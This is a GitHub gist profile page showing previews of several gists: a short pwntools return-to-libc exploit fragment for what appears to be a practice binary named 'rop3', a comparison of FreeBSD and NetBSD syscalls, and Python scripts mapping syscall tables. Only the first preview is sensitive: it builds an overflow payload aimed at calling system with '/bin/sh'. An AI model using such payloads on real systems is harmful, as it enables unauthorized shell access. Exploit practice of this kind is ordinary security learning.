Skip to content

Instantly share code, notes, and snippets.

View ais2397's full-sized avatar
🚩

Ayushi Sharma ais2397

🚩
View GitHub Profile
from pwn import *
e = ELF('rop3')
y = e.got['write']
x=0xf7e59b70-0xf7dbeda0
system= pack(y-x)
string = e.search('/bin/sh\x00').next()
exploit="\x90"*140
exploit += system
exploit += "\x90"*4
@ais2397
ais2397 / possible.txt
Created April 14, 2020 11:39
Common syscalls of freebsd and netbsd. To be added section lists the syscalls which can be ported from freebsd.
==================================================
Common syscalls
==================================================
Syscall No 56 : revoke
Syscall No 402 : aio_read
Syscall No 296 : __getcwd
Syscall No 344 : kqueue
Syscall No 60 : umask
Syscall No 472 : futimens
Syscall No 399 : aio_cancel
from __future__ import division
import re
import sys
import os
syzcalls = {0:"syscall",1:"exit",2:"fork",3:"read",4:"write",5:"open",6:"close",7:"compat_50_wait4",8:"compat_43_ocreat",9:"link",10:"unlink",12:"chdir",13:"fchdir",14:"compat_50_mknod",15:"chmod",16:"chown",17:"break",18:"compat_20_getfsstat",19:"compat_43_olseek",20:"getpid",21:"compat_40_mount",22:"unmount",23:"setuid",24:"getuid",25:"geteuid",26:"ptrace",27:"recvmsg",28:"sendmsg",29:"recvfrom",30:"accept",31:"getpeername",32:"getsockname",33:"access",34:"chflags",35:"fchflags",36:"sync",37:"kill",38:"compat_43_stat43",39:"getppid",40:"compat_43_lstat43",41:"dup",42:"pipe",43:"getegid",44:"profil",45:"ktrace",46:"compat_13_sigaction13",47:"getgid",48:"compat_13_sigprocmask13",49:"__getlogin",50:"__setlogin",51:"acct",52:"compat_13_sigpending13",53:"compat_13_sigaltstack13",54:"ioctl",55:"compat_12_oreboot",56:"revoke",57:"symlink",58:"readlink",59:"execve",60:"umask",61:"chroot",62:"compat_43_fstat43",63:"compat_43_ogetkerninfo",64:"compat_43_o
import re
import os
import sys
linux_syscalls = ["read", "write", "open", "close", "stat", "fstat", "lstat", "poll", "lseek", "mmap", "mprotect", "munmap", "brk", "rt_sigaction", "rt_sigprocmask", "rt_sigreturn", "ioctl", "pread64", "pwrite64", "readv", "writev", "access", "pipe", "select", "sched_yield", "mremap", "msync", "mincore", "madvise", "shmget", "shmat", "shmctl", "dup", "dup2", "pause", "nanosleep", "getitimer", "alarm", "setitimer", "getpid", "sendfile", "socket", "connect", "accept", "sendto", "recvfrom", "sendmsg", "recvmsg", "shutdown", "bind", "listen", "getsockname", "getpeername", "socketpair", "setsockopt", "getsockopt", "clone", "fork", "vfork", "execve", "exit", "wait4", "kill", "uname", "semget", "semop", "semctl", "shmdt", "msgget", "msgsnd", "msgrcv", "msgctl", "fcntl", "flock", "fsync", "fdatasync", "truncate", "ftruncate", "getdents", "getcwd", "chdir", "fchdir", "rename", "mkdir", "rmdir", "creat", "link", "unlink", "symlink", "readlink", "chmod", "fchmod", "chown", "fchown", "lcho